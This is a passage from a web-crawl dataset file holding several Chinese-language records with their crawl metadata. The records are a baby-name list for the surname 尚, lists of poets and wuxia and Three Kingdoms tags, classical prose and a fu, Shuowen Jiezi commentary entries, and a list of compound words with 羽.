尚慧诗 尚丹坭 尚澎滔 尚建信 尚水泉 尚先明 尚祥星 尚锡铂 尚杼 尚晓程 尚亦玺 尚一侏 尚靖森 尚光铭 尚辰淋 尚宇徉 尚雅蕙 尚束桓 尚象祥 瑞 尚庆宗 尚烃 尚湘荃 尚琛然 尚成焯 尚海朋 尚相良 尚欢童 尚整天 尚子渝 尚苍雨 尚彦语 尚美然 尚修宽 尚骏华 尚赫童 尚烙轩 尚玮康 尚蕙榕 尚体壮 尚建骄 尚北帆 尚奇林 尚靖贤 尚雅峰 尚咛诺 尚霄嵩 尚名镇 尚牙子 尚传琦 尚慧隰 尚俊晖 尚灵鱼 尚夏睦 尚锡祥 尚弘睿 尚俊同 尚为烨 尚培山 尚季灿 尚飞含 尚淳磊 尚畅平 尚秀健 尚永灏 尚含章 尚广袤 尚政跃 尚金玖 尚含昕 尚美天 尚小靴 尚梓涵 尚榉仁 尚壮总 尚起矾 尚宴孟 尚甚依 尚孝平 尚建舟 尚林敏 尚克东 尚民含 尚轺淆 尚孜凡 尚环诚 尚远淇 尚方闻 尚奕敏 尚如锦 尚福智 尚韦伦 尚秋钰 尚晨景 尚纯磊 尚硕函 尚蕾桦 尚韵雯 尚天诺 尚映景 尚轩 尚东昕 尚若匀 尚彦水 尚汉人 尚伊新 尚笑鸿 尚宏译 尚子原 尚汉培 尚雷屯 尚仪祥 尚立昆 尚楷钊 尚启羊 尚永惠 尚缘缘 尚宣衡 尚嘉娣 尚值佳 尚小棱 尚叶渲 尚明泽 尚文虎 尚川子 尚伟顺 尚澎湃 尚金齐 尚意珊 尚丁玎 尚灵涛 尚镁淇 尚国俭 尚洪昀 尚弈昌 尚熊宇 尚小零 尚许卜 尚丙晨 尚宾月 尚晓富 尚憧 尚远泷 尚林凯 尚君波 尚大乙 尚文非 尚泓逸 尚硒 尚顺滔 尚龙侠 尚鸿德 尚接海 尚鱼游 尚承聪 尚芳冰 尚兰琦 尚茂儒 尚进飞 尚长德 尚锡聪 尚成思 尚新燃 尚佳奇 尚朗鸣 尚联才 尚邵伟 航 尚芊丹 尚厚强 尚若现 尚桁润 尚柏列 尚朋翔 尚三太 尚雯筠 尚游龙 尚泽强 尚一鹂 尚诚孝 尚佟海 尚顶优 尚皓杨 尚信先 尚逸芙 尚永昶 尚率旗 尚霄岳 尚太成 尚睿林 尚儒锐 尚铭富 尚炳汇 尚里虎 尚小生 尚贡 尚本友 尚季晔 尚乐淼 尚健丰 尚溢燃 尚翔骜 尚忻羽 尚颖然 尚芷漩 尚丞宁 尚启超 尚存功 尚玮桐 尚存贤 尚佼 尚可汇 尚冰楷 尚师兰 尚桂立 尚曰冰 尚艳燮 尚星宇 尚艳蕊 尚跃阳 尚睿樱 尚昀伸 尚诗臻 尚堂云 尚恩庭 尚恕澄 尚方至 尚槿洋 尚日林 尚月发 尚建吉 尚朵纳 尚听雨 尚晓越 尚东元 尚存诤 尚梓善 尚姗嵘 尚煦瑞 尚舡沂 尚昀宓 尚觉民 尚永仪 尚梓骅 尚鑫蕾 尚琼琶 尚翠林 尚俊炬 尚翰基 尚含羽 尚御扬 尚抒佑 尚维莎 尚秀金 尚栋峰 尚钰涛 尚梦桃 尚健挺 尚碧峰 尚耿聪 尚千祯 尚尔新 尚修元 尚靖斯 尚曙辉 尚恢 尚跃录 尚自邺 尚熙坤 尚兆涵 尚启亮 尚一羚 尚梓懿 尚福迎 尚子康 尚天竺 尚忻柔 尚沁菱 尚凌嘉 尚嘉霏 尚跃群 尚芊宁 尚加荫 尚伶雅 尚岭望 尚钦思 尚卫麟 尚密密 尚然浩 尚景康 尚简阳 尚顺义 尚韵儿 尚昱彰 尚泰臻 尚树林 尚禹随 尚绵香 尚亭伊 尚圣明 尚迦烨 尚越铭 尚乐漪 尚道正 尚枕 尚帔雯 尚彩芸 尚改妮 尚河涛 尚玫凯 尚铁钰 尚容川 尚英鸿 尚佳灵 尚宁戬 尚文人 尚木鱼 尚月矫 尚沁漪 尚皓耘 尚邦丁 尚馨诺 尚启颜 尚瑞峤 尚酩翰 尚新格 尚茉月 尚力舒 尚帘翔 尚佳隆 尚昕书 尚效沛 尚上人 尚晋云 尚泓海 尚艺峦 尚然芯 尚丹惠 尚兴骏 尚芙羽 尚含淼 尚蕴萱 尚铭仑 尚芝强 尚菲亚 尚破月 尚啸祥 尚昀立 尚志坪 尚铭铁 尚紫函 尚广善 尚长胪 尚力瑞 尚谒渊 尚军椹 尚姐姐 尚梓刚 尚汶宏 尚庐采 尚石屹 尚辉成 尚仲铭 尚绍伯 尚泽重 尚玉心 尚芩羽 尚韬霭 尚念纯 尚沐龙 尚紫杭 尚哈妮 尚星彤 尚翰珊 尚焱平 尚民安 尚灵绝 尚职衷 尚雯璐 尚夹 尚九分 尚堰 尚梓苒 尚芸凤 尚芮朗 尚祁仁 尚学晔 尚全岭 尚佳鹰 尚雨逾 尚泳妙 尚彦均 尚纪怿 尚治松 尚启恩 尚长当 尚灵俊 尚若豪 尚晶师 尚惠源 尚玄祖 尚体欧 尚浆 尚闻婕 尚嘟嘟 尚天讯 尚连梁 尚谦轩 尚上飘 尚杨乐 尚尚洋 尚相靖 尚的名 尚琉邀 尚盈男 尚德跞 尚海乙 尚可旎 尚纲标 尚浙新 尚芊妗 尚福俊 尚至聪 尚俪郡 尚祖彦 尚潇夏 尚吉魁 尚绎蕾 尚瑞刚 尚曰含 尚兴宏 尚淇楦 尚月棂 尚闻辉 尚韫聪 尚逸兴 尚科炀 尚一歌 尚德臻 尚启森 尚岚弛 尚汝励 尚仁友 尚厚理 尚锟超 尚忠忻 尚岚斐 尚显 尚珏亮 尚翊航 尚若儿 尚勃贤 尚俊亨 尚风渊 尚昙昱 尚存纬 尚敞们 尚药僮 尚思纹 尚泽铁 尚钬骜 尚随骤 尚公灏 尚业钧 尚灵广 尚王涛 尚佐胜 尚罩元 尚镜萱 尚真圭 尚唐谦 尚标彩 尚蓝欣 尚富昌 尚泠熹 尚天永 尚俞海 尚和月 尚傈 尚玉骞 尚御展 尚欣偌 尚丁二 尚馨田 尚信人 尚鱼儿 尚解生 尚奕欧 尚文锡 尚羽青 尚一帅 尚均雄 尚良宝 尚培润 尚天慧 尚名庭 尚朝忠 尚健培 尚铎灯 尚见秋 尚桂纶 尚步力 尚靖湘 尚冠义 尚厄夭 尚守怿 尚攻旭 尚昀轩 尚帛函 尚小七 尚仕莱 尚鉴智 尚柬未 尚志波 尚中辉 尚正佑 尚都都 尚诗婕 尚砾浦 尚维实 尚夕耒 尚灏 尚梓琏 尚昊汶 尚梦春 尚楚媚 尚道浩 尚洁儿 尚颦香 尚妙芝 尚学轩 尚亚丰 尚引才 尚镁琪 尚瀚苇 尚民享 尚培潇 尚行壮 尚宛灵 尚梓昊 尚柃 尚泓厚 尚雨娈 尚丞海 尚越曦 尚富园 尚佾珊 尚保屹 尚曦平 尚信刚 尚霜帆 尚贵向 尚皇经 尚枳旭 尚艺勇 尚潼泽 尚靓萱 尚蒸气 尚程坤 尚熙岚 尚良天 尚易成 尚嵬 尚隹凼 尚泽钧 尚中润 尚丞阳 尚天滋 尚铭岱 尚珑斌 尚域辰 尚嫒淇 尚梦秋 尚淡馨 尚天枢 尚嘉颜\n旅行箱和梦想 尚漫垣 尚谚珍 尚立仁 尚烽原 尚语祯 尚岩石 尚中桶 尚中熠 尚易冬 尚童羲 尚启旭 尚釜瑜 尚惜昱 尚俊璋 尚影儿 尚琨怿 尚睿侨 尚添煜 尚璐嫔 尚逸才 尚曰凡 尚薛锐 尚波存 尚筱蕾 尚筠洪 尚锫恒 尚同淑 尚沛嘉 尚攀攀 尚卓杰 尚铭恩 尚竹贤 尚央格 尚雯仪 尚克利 尚彦竹 尚沁汶 尚奕立 尚浩翰 尚子慎 尚铁石 尚晓东 尚厚胤 尚仕强 尚静潇 尚泉光 尚乐功 尚虹亦 尚天篮 尚雪青 尚璎华 尚雪霆 尚颜齐 尚峻弘 尚睿雯 尚昨同 尚祖竹 尚季敏 尚洋睿 尚嘉盛 尚林益 尚明荟 尚铁丁 尚涵瑜 尚安泰 尚登俊 尚雪晖 尚钟菱 尚籽元 尚亿达 尚梦艇 尚世清 尚振夏 尚俊淞 尚紫宣 尚传列 尚珧菘 尚晶萱 尚靖荣 尚兴鑫 尚梓印 尚靖伊 尚易菡 尚高恩 尚姓是中国姓氏之一,希望对大家有所帮助。是当今中国姓氏排行第一百三十五位的姓氏,人口较多,约占中国汉族人口的百分之零点一。\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.van46.com\/nanhaiqiming\/516.html","date":"2019-12-12T08:01:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540542644.69\/warc\/CC-MAIN-20191212074623-20191212102623-00477.warc.gz","language":"lzh","language_score":0.9514163733,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9514163732528687, \"nan_Hani_score\": 0.02885507047176361, \"cmn_Hani_score\": 0.018330641090869904}","num_words":802,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.954,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李清照 李白 白居易 杜甫 苏轼 辛弃疾 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n声声慢·寻寻觅觅 寻寻觅觅,冷冷清清,凄凄惨惨戚戚。乍暖还寒时候,最难将息。三杯两盏淡酒,怎敌他、晚来风急?雁过也,正伤心,却是旧时相识。满地黄花堆积。憔悴损,如今有谁堪摘?守着窗儿,独自怎生得黑?梧桐更兼细雨,到黄...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&poet_id=mTy1luAXBj&poet_idLabel=%E6%9D%8E%E6%B8%85%E7%85%A7.htm","date":"2020-01-20T17:56:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250599718.13\/warc\/CC-MAIN-20200120165335-20200120194335-00247.warc.gz","language":"lzh","language_score":0.6536940336,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6536940336227417, \"cmn_Hani_score\": 0.2580168545246124, \"nan_Hani_score\": 0.03375670313835144, \"wuu_Hani_score\": 0.03127022832632065, \"yue_Hani_score\": 0.017332416027784348}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.718,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n天鷹教 浣花洗劍錄 曹叡 黃權 天魔大法 曹仁 黃蓋 吳三桂 丁典 玉女媚術 費禕 謝遜 降龍十八掌 天外流星 楊修 破精自絕大法 江南七怪 硃砂掌 甄姬 張角 白馬嘯西風 東興之戰 軟蝟甲 柳絮劍法 無塵道長 白狼山之戰 張三李四 諸葛亮北伐 摩尼教 空明拳 大元丹法 劉備 呂母 鍾繇 孫皓 洪承疇 白世鏡 飛狐外傳 左慈 魏滅蜀之戰 奇功絕藝榜 石亭之戰 先天氣功 尼摩星 石中玉 天龍八部 衛春華 三十六招鳥啄擊法 建寧公主 羅漢伏虎拳 武當派 南皮之戰 飛燕七式 破碎虚空 九玄大法 雲行雨飄 壽春三叛 大意失荊州 馬大元 黯然銷魂掌 賈南風 劍罡同流 呂后 橫煉罡 張遼 董允 長河正氣 張郃 就地十八滾 竹節鞭 日月麗天大法 夏姬 朱子柳 嵩山十三太保 流雲飛袖 丁不三 北冥神功 任盈盈 雙尖軟矛 合淝之戰 梅超風 大圓滿杖法 無念禪功 風清揚 文泰來 奪命十三劍 武當掌法 沐劍屏 桃花仙 黃忠 洪七公 丁不四 枯木神功 挾天子 連體心法 飛鶯飛鷹 曹睿 魔佛十式 譙周 移花接玉 太虛勁 崑崙派 情人箭 郭淮 捨身大法 倚天屠龍記 王元姬 恆山派 七十二路分筋錯骨手 蛤蟆功 黃祖 紫霞神功 飛鷹十三刺 九韶定音劍 無崖子 風鈴中的刀聲 董卓討伐戰 大唐雙龍傳 玩命拳 楊儀 程英 韋一笑 徐盛 少林三渡 陳近南 諸葛恪 龜息功 鎖子縮骨功 法顯 三尸腦神丹 獨孤九劍 陸遜 易京之戰 長平公主 曹真 馮錫范 梅花鉤 張三丰 韓小瑩 楊成協 全真七子 關羽 小鷹爪功 武林外史 壽春馳援 天魔擊三大散招 道心種魔大法 鐵脊蛇矛 龍門鏢局 丞相,起風了 姜維 歐陽鋒 天一掌 徐庶 俠客行 周倉 蔣幹 急風十三刺 阿珂 天地明環 水笙 二宮之爭 邊城浪子 馬皇后 九月鷹飛 黃皓專權 鮑三娘 鐵蒺藜骨朵 太清元功 阿九 塌上策 摘心手 大喬 丹心術 金輪法王 諸葛誕 關索 定世鞭 魅變術 英雄無淚 死眷術 織女劍法 魏晉玄學 桃實仙 笮融 丈八蛇矛 五毒神功 汪劍通 瑛姑 笑傲江湖 心佛掌 段正明 滿天花雨 金丹大法 掩月劍法 馬謖 少林派 霍去病 大人物 鳩摩智 石清 趙半山 兵器譜 黃天大法 袖裡乾坤 官渡之戰 白自在 多情劍客無情劍 地煞拳 桃幹仙 南匈奴 傻姑 孫策平江東之戰 蘇荃 內家橫練 金剛門 神龍教 七禽身法 周伯通 吸星大法 無相神功 劍客行 藏密智能書 湘妃劍 流星鎚 魏滅蜀之戰 蒼穹十三劍 星际浪子 韋小寶 一休 逍遙拆 無想奼女大法 馬岱 金絲綿掌 王語嫣 碧落紅塵 西蜀地形圖 田伯光 狄雲 月異星邪 曹純 絕不低頭 伏虎神拳 溫瑞安 玄氣大法 曹操討伐袁術之戰 夏侯霸 韋小寶 白萬劍 索額圖 神君別傳 鄧艾 福康安 李秋水 夷陵之戰 武當七俠 枯禪玄功 歸藏鞭 林平之 神州奇俠 黃藥師 武田信玄 毛玠 孫權建國 喬鋒 九品中正制 大開碑手 少林神拳 司馬師 夏侯嬰 雙修大法 全真教 七殺拳 四大名捕 黃皓 陽頂天 王異 鐵騎快劍 伏魔劍法 一串鞭 賈詡 高平陵之變 一扇十八搖 興勢之戰 滿地開花八十—式 令狐沖 呂布爭徐州 武三通 周泰 衡山派 魔心連環 楊過 袁紹 九轉無相神功 劉禪 公孫綠萼 井中八法 散手八撲 荀彧 黃鍾公 飛天狐狸 方怡 羅憲 孫皓暴政 刀白鳳 天心蓮環 余滄海 樂進 迎風一刀斬 七流星 倪匡 鰲拜 張大春 丁春秋 玄慈 歸魂十八爪 凝真九變 儀琳 羊祜 于萬亭 上官鼎 御盡萬法根源智經 青龍會 青城派 蒼穹十三式 鳥渡術 空綁術 刀劍雙殺七七四十九式 楊頂天 楚留香新傳之蝙蝠傳奇 驚魂六記 男人見不得 虛竹 魅影劍法 文醜 慕容博 聖火令 血海飄香 齊桓公 康敏 書劍恩仇錄 蕭十一郎 東方不敗 扭轉乾坤殺手劍 霍青桐 明珠 江夏戰神 蔣琬 覆雨劍法 石亭之戰 碧血洗銀槍 殘金缺玉 劉表 金蛇劍 郭馬之亂 司馬昭 月英 祝融 護花鈴 夏侯惇 淑女劍 大地飛鷹 鬼火十三拍 乾隆 金錢幫 阿青 絕情谷 炎陽奇功 菊花的刺 游坦之 九難 五行劍法 馬超 血戰十式 遊俠錄 東洋神風刀法 定逸師太 紅花會 鍾靈 龐統 達爾巴 袁承志 梅花鉤 狂沙刀法 小昭 清風十三式 丁璫 童子功十三太保橫練 枯榮大師 大旗英雄傳 街亭 越女劍 徐晃 余魚同 鬼魅潛蹤 歡樂英雄 銅錘 瀟湘子 玉女劍法 小龍女 五帝鐧 尉遲恭 穆念慈 孫堅 起風了 霓裳仙舞 海大富 夏青青 破蓮八著 天魔心法 丹青生 玉女素心劍法 司馬昭弒君 達摩手 碧海潮生曲 彈指神通 西陵之戰 合淝新城之戰 風萍掌 漢中之戰 無想十法 旋風十八矛 碎金剛乘 天涯明月刀 凌波微步 界橋之戰 狼牙 吳國太 五虎斷門刀 劍毒梅香 荀攸 呂壹專權 莫大先生 先天功 王平 蒼穹神劍 怒劍狂花 群狐 絕代雙驕 衛青 桃谷六仙 呂玲綺 子貴母死 華山派 擒拿截脈法 刑遁術 黑鬼爪 荊州 天魔手七十二式 流星鎚 奼女心法 鴛鴦腿 合淝之戰 荊楚爭雄記 魯有腳 諸葛亮 徐天宏 常伯志 名劍風流 太史慈 烏金血劍 三少爺的劍 吳起 打狗棒法 伏養氣功 吳應熊 彭長老 董卓 曹操 劍花煙雨江南 白玉老虎 燕子雙飛 魏延 完顏洪烈 姑蘇慕容 華山論劍 諸葛亮南征 決戰前後 幽灵山庄 方證大師 勞德諾 許褚 楚留香新傳 晉滅吳之戰 燎原百擊 五絕神功 陸小鳳傳奇 日月當空 陸抗 梵我如一 空城計 大拍手 文鴦 東興之戰 丐幫 任我行 日月神教 張飛 花間十二支 孫權 逆水寒 冰玄勁 九字真言手印 建安文學 趙敏 翔鷹劍法 五毒教 梁羽生 裘千仞 陳家洛 殭屍拳 古龍作品 楊逍 連城訣 銀雕 夷陵之戰 神鵰俠侶 炎元真氣 峨嵋派 謝煙客 葵花寶典 青龍偃月刀 岳不羣 姜維北伐 成昆 白阿繡 失魂引 程普 雙兒 九轉還童 心硯 益州之戰 蝶雙飛 如意八打 木婉清 天地明環 石田三成 石雙英 銀龍手 龍吟曲 黃蓉 火併蕭十一郎 屠龍刀 不死七幻 布衣神相 劉備稱帝 鴛鴦刀 燕子三抄水 金針開穴之法 永安之戰 郭嘉 不死印法 邊荒傳說 辟邪劍法 典韋 蔡文姬 覆雨翻雲 幻影劍法 甘寧 幻魔身法 龐德 赤壁之戰 徐榮 八賢王 孫策 魯肅 楊康 楚留香傳奇 孟獲 折花百式 曹操迎天子 朱然 化石神功 歐陽克 蔣濟 關興 孤星傳 蕭逸 回轉斧法三十式 王重陽 十二都天神功 飛刀,又見飛刀 射鵰三部曲 神蛛凌空銀絲渡虛 沖虛道長 變天擊地大法 水雲袖法 奕劍術 左手刀法 曹操攻徐州之戰 古龍 迷蹤七變 斷絕神功 沙影二十八劍 星宿派 張春華 趙雲 郭解 太極七截棍 星彩 流星蝴蝶劍 天山童姥 慈航劍典 曹丕伐吳 鄧芝 天魅凝陰 司馬懿 史火龍 樊城之戰 七傷拳 仇國論 定閒師太 倉亭之戰 宗預 桃葉仙 貂蟬 化骨綿掌 紫微軟劍 穿雲劍法 誰來跟我乾杯 賈充 移玉大法 馬忠 瘋魔上天下地一百零七撃 金蛇郎君 周芷若 白骨爪 屯田制 方天畫戟 曾柔 林遠圖 君子劍 滅神掌 常赫志 龍木島主 逍遙訣 左冷禪 交阯之亂 歸辛樹 桃根仙 凌統 耶律齊 涼州軍劫天子 定靜師太 阿朱 貝海石 藍鳳凰 雪山飛狐 太虛錯手 諸葛瞻 張無忌 岳靈珊 潼關之戰 血鸚鵡 章進 吳質 孫曉 丞相 曹爽專權 隆中對 飛龍大九式 曹丕篡漢 胡昭 古墓派 關平 嫁衣神功 孫尚香 青釭劍 駱冰 段正淳 曹丕 郭襄 李典 鬼王鞭 的盧 飄香劍雨 滅絕師太 華陀針 尹克西 鹿鼎記 六脈神劍 鄭丰 桃花島 九陽神功 法正 飛伏一百零八槍 飛龍五式 李元霸 丁奉 挾刀揉手 絕代雙驕角色列表 楚留香新傳之新月傳奇 披風杖法 雌雄雙股劍 練師 鷹變十三式 下邳之戰 一指頭禪 亡神十八掌 彼岸劍訣 林朝英 鳳天南 康熙 關銀屏 金庸 華山派 十住大乘功 賭局 劍玄錄 神刀斬 換日大法 彩環曲 李廣 李莫愁 天外飛仙 閔柔 青松劍譜 蝴蝶穿花七十二式 張召重 合肥之戰 五嶽劍派 菩提心功 郭靖 曹洪 裘千尺 紫血大法 碧血劍 蕭摩訶 蔣四根 仙門劍訣 五虎斷門刀 劍氣書香 禿筆翁 趙志敬 倚天劍 海神 戚芳 桃枝仙 鍾會之亂 陸無雙 不碎金剛 李牧 七种武器 雙手互搏 吳六奇 冷月寶刀 夢姑 寧中則 牛郎一百零八棍 四大惡人 第六天魔王 霍都 尋秦記 曹休 慕容復 滿寵 萬物波動心法 德川家康 阿紫 玄鐵重劍 魅影身法 鍾會 胡斐 一燈大師 嫁衣神功 陳到 伊達政宗 楚留香新傳之借屍還魂 臥龍 陳宮 袁紫衣 嵩山派 不戒和尚 石破天 降龍伏虎羅漢拳 泰山派 紫氣天羅 程靈素 掃地僧 呂蒙 殷離 武夷派 戰神圖錄 博望坡之戰 暴雨梨花釘 韓當 裂馬槍 于禁 韋春花 九陽真經 奪命簪 逍遙派 公孫止 蕭遠山 臥龍生 大手印 尉遲敬德 郭芙 呂布 大武俠時代 夏侯淵 豔陽刃法 沉沙劍法 七殺手 明玉功 九陰真經 崆峒派 周瑜 張翼 儀琳 范遙 靈犀一指 雷霆刀法 玄鐵劍法 廖化 張苞 小喬 段譽 種玉大法 封天閉地 黑白子 七星龍王 圓月彎刀","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2021-09-27T04:06:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780058263.20\/warc\/CC-MAIN-20210927030035-20210927060035-00458.warc.gz","language":"lzh","language_score":0.5900527239,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5900527238845825, \"nan_Hani_score\": 0.25269797444343567, \"cmn_Hani_score\": 0.12175129354000092, \"yue_Hani_score\": 0.03296079486608505}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"公曰:\"今之君子胡莫行之也?\"孔子曰:\"今之君子,好实无厌,淫德不倦,荒怠傲慢,固民是尽,午其众以伐有道;求得当欲,不以其所。昔之用民者由前,今之用民者由后。今之君子莫为礼也。\"\nHe with this was not content,\n加入购物车成功!","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/jx49lhvhi.ptbihuo.com\/book\/214489365.html","date":"2023-03-29T10:59:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948965.80\/warc\/CC-MAIN-20230329085436-20230329115436-00753.warc.gz","language":"lzh","language_score":0.5393446684,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5393446683883667, \"cmn_Hani_score\": 0.39543646574020386, \"yue_Hani_score\": 0.0308406800031662, \"wuu_Hani_score\": 0.01870402880012989, \"jpn_Jpan_score\": 0.011883359402418137}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.747,"perplexity_score":500.0,"cluster_detection":1} +{"text":"斗當作枓。古斗枓通用。然許例以義爲別。枓、勺也。抒羮之勺也。史記趙襄子使廚人操銅枓以食代王及從者。行斟。陰令宰人以枓擊殺代王。斟者、羹汁也。魁頭大而柄長。毛詩傳曰大斗長三尺是也。引申之、凡物大皆曰魁。如檀弓不爲魁、游俠傳曰閭里之俠原涉爲魁、翟方進傳芋魁、百官志里有里魁皆是。北斗七星。魁方杓曲。魁象首、杓象柄也。若國語注小阜曰魁。卽說文𠂤字之叚借。亦未嘗不取枓首之意。\n苦回切。十五部。","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.shuowen.org\/view\/9448?bushou=%E6%96%97","date":"2023-12-07T00:48:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100626.1\/warc\/CC-MAIN-20231206230347-20231207020347-00313.warc.gz","language":"lzh","language_score":0.3941239715,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.39412397146224976, \"cmn_Hani_score\": 0.2856298089027405, \"zxx_Latn_score\": 0.057459186762571335, \"yue_Hani_score\": 0.034487348049879074, \"jpn_Jpan_score\": 0.03215166926383972, \"nan_Hani_score\": 0.02900797501206398, \"wuu_Hani_score\": 0.028205526992678642, \"und_Tang_score\": 0.023623529821634293, \"und_Nshu_score\": 0.023180721327662468}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.394,"perplexity_score":500.0,"cluster_detection":1} +{"text":"顏者、兩眉之中閒也。顏前者謂自此而前則爲目、爲鼻、爲目下、爲頰之閒、乃正鄉人者。故與背爲反對之偁。引伸之爲相鄉之偁。又引伸之爲相背之偁。易窮則變。變則通也。凡言面縛者、謂反背而縛之。偭从面。\n謂囗也。左象面。彌箭切。十四部。","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.shuowen.org\/view\/5667?pinyin=mian","date":"2024-03-05T05:19:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707948217723.97\/warc\/CC-MAIN-20240305024700-20240305054700-00603.warc.gz","language":"lzh","language_score":0.5588148832,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5588148832321167, \"cmn_Hani_score\": 0.2786690294742584, \"jpn_Jpan_score\": 0.11198200285434723, \"yue_Hani_score\": 0.02212047390639782, \"wuu_Hani_score\": 0.01785362884402275}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.559,"perplexity_score":500.0,"cluster_detection":1} +{"text":"餘取友於天下,將歲行之兩周。下何深之不即,上何高之不求。紛擾擾其既多,鹹喜能而好修。寧安顯而獨裕,顧阨窮而共愁。惟知心之難得,斯百一而為收。歲癸未而遷逐,侶蟲蛇於海陬。遇夫人之來使,辟公館而羅羞。索微言於亂誌,發孤笑於群憂。物何深而不鏡,理何隱而不抽。始參差以異序,卒爛漫而同流。何此歡之不可恃,遂駕馬而回輈。山磝磝其相軋,樹蓊蓊其相摎雨浪浪其不止,雲浩浩其常浮。知來者之不可以數,哀去此而無由。倚郭郛而掩涕,空盡日以遲留。","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%88%A5%E7%9F%A5%E8%B3%A6%EF%BC%88%E9%80%81%E6%A5%8A%E5%84%80%E4%B9%8B%EF%BC%89","date":"2020-05-30T22:32:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347410352.47\/warc\/CC-MAIN-20200530200643-20200530230643-00072.warc.gz","language":"lzh","language_score":0.437849462,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4378494620323181, \"cmn_Hani_score\": 0.3417983651161194, \"jpn_Jpan_score\": 0.039175812155008316, \"yue_Hani_score\": 0.038087159395217896, \"zxx_Latn_score\": 0.02592596784234047, \"und_Tang_score\": 0.02391660213470459, \"nan_Hani_score\": 0.02388283982872963}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.37,"perplexity_score":500.0,"cluster_detection":1} +{"text":"大家好,小跳來為大家解答以上的問題。雨的組詞,羽的組詞這個很多人還不知道,現在讓我們一起來看看吧!\n1、羽翼 羽化 羽翰 羽檄 羽葆 羽儀 羽毛 羽客 羽翮 羽林 羽觴 羽書 羽衣 羽嘉 羽旄 羽士 羽人 羽流 羽翎 羽淵 羽紗 羽裳 羽翔 羽龠 羽蓋 羽君 羽扇 羽杯 羽舞 羽磬 羽陵 羽山 羽括 羽絨 羽冠 羽旗 羽翟 羽巾 羽蟲 羽緞 羽佩 羽觥 羽衛 羽獵 羽翅 羽氅 羽鄉 羽鱗 羽騎 羽棹 羽群 羽鑰 羽織 羽族 羽輪 羽節 羽楫 羽箭 羽鏃 羽民 羽翿 羽幢 羽畎 羽翣 羽帔 羽巵 羽棹 羽爵 羽奏 羽帳 羽服 羽釵 羽鹢 羽駕 羽檝 羽從 羽纛 羽鉆 羽帽 羽裂 羽虱 羽獸 羽孽 羽車 羽物 羽類 羽袍 羽黨 羽徒 羽序 羽斾 羽飾 羽仗 羽窟 羽尾 羽褐 羽報 羽皮 羽便 羽隊 鎩羽 翠羽 子羽 白羽 鴻羽 干羽 翎羽 毛羽 皓羽 振羽 蝶羽 逸羽 瑞羽 幟羽 飲羽 七羽 關羽 黨羽 樹羽 月羽 飛羽 玄羽 雪羽 凡羽 暮羽 鷺羽 錦羽 六羽 鱗羽 項羽 商羽 鶴羽 舞羽 素羽 塵羽 落羽 宮羽 赤羽 迅羽 瓊羽 靈羽 沒羽 日羽 風羽 一羽 仙羽 豐羽 翅羽 冬羽 鳳羽 被羽 丹羽 木羽 析羽 葆羽 括羽 解羽 巽羽 綿羽 穆羽 芥羽 片羽 陽羽 檄羽 玉羽 插羽 呢羽 驚羽 儀羽 飾羽 流羽 朱羽 旌羽 揮羽 高羽 負羽 頓羽 變羽 